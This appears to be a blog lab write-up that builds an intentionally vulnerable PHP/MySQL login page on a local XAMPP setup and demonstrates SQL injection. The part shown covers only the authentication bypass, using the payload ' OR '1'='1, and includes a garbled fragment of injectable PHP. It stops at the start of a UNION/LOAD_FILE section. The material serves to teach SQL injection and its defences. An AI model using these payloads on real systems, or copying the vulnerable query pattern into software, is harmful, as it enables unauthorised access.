Overview #
This experiment demonstrates SQL injection (SQLi) vulnerabilities and the corresponding defenses.
I build an intentionally vulnerable web application (PHP/MySQL) on a local environment (XAMPP on Windows) and simulate SQL injection attacks against it.
I close with an analysis of why these attacks worked and the foundational fix (placeholders / prepared statements).# What we'll do
The experiment proceeds in steps:
- 1. Authentication bypass: manipulate SQL logic to log in without a password.
- 2. Data exfiltration: abuse the
UNIONoperator to read every row in the database. - 3. File disclosure: abuse
LOAD_FILE()to read local files on the server. - 4. Database tampering: abuse stacked queries to modify database values.
1. Building the environment #
- OS: Windows 11
- Server: XAMPP (Apache, MariaDB / MySQL)
- Vulnerable application: the PHP scripts below; database
test_dbwith auserstable.
# Connect to the database
PS C:\xampp\mysql\bin> .\mysql.exe -u root
# Create the test_db database
MariaDB [(none)]> CREATE DATABASE test_db;
# Create the users table
MariaDB [(none)]> USE test_db;
MariaDB [test_db]> CREATE TABLE users ( -> id INT(11) NOT NULL AUTO_INCREMENT PRIMARY KEY, -> username VARCHAR(50) NOT NULL, -> password VARCHAR(50) NOT NULL -> );
# Verify the structure
MariaDB [test_db]> DESC users;
# Insert admin and user
MariaDB [test_db]> INSERT INTO users (username, password) VALUES -> ('admin', 'password123'), -> ('user', 'pass');
# Final verification
MariaDB [test_db]> SELECT * FROM users;
+----+----------+-------------+
| id | username | password |
+----+----------+-------------+
| 1 | admin | password123 |
| 2 | user | pass |
+----+----------+-------------+
2. Experiment 1: authentication bypass #
Goal: without knowing the password, manipulate the WHERE clause's logic so it always evaluates to true, and bypass the login.
Files involved #
index.html(login form)
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login form (vulnerable example)</title>
</head>
<body>
<h2>Login</h2>
<form action="spli1.php" method="POST">
<div>
<label for="username">Username:</label>
<input type="text" id="username" name="username">
</div>
<div>
<label for="password">Password:</label>
<input type="password" id="password" name="password">
</div>
<button type="submit">Sign in</button>
</form>
</body>
</html>
Query that was about to run:
"; echo "$sql"; $result = $conn->query($sql); if ($result && $result->num_rows > 0) { echo "
Login success #
"; echo "Welcome, " . htmlspecialchars($user, ENT_QUOTES, 'UTF-8') . ".
"; } else { echo "Login failed #
"; echo "Wrong username or password.
"; } $conn->close(); ?>
## Payload
Enter the following in the username and password fields:
Username: admin Password: ' OR '1'='1
## Resulting SQL
After PHP assembles the query, the SQL ends up like this:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'
## Result and explanation
In MySQL `OR` has lower precedence than `AND`, so the SQL is parsed as `(username = 'admin' AND password = '')` OR `('1'='1')`.
The first half is false, but the second half — `'1'='1'` — is always true, so the whole `WHERE` clause is true. As a result, `$result->num_rows > 0` is satisfied in `spli1.php`, and "Login success" is shown.
<div class="zoomable-image-container"><img src="/images/posts/experiments/post05/1.png" alt="img1"></div>---
# 3. Experiment 2: reading data and reading files from disk
**Goal:** use the `UNION` operator and the `LOAD_FILE()` function to extract data from the database and read files off the server.
## Files involved
- `index.html`
COMMENTS 3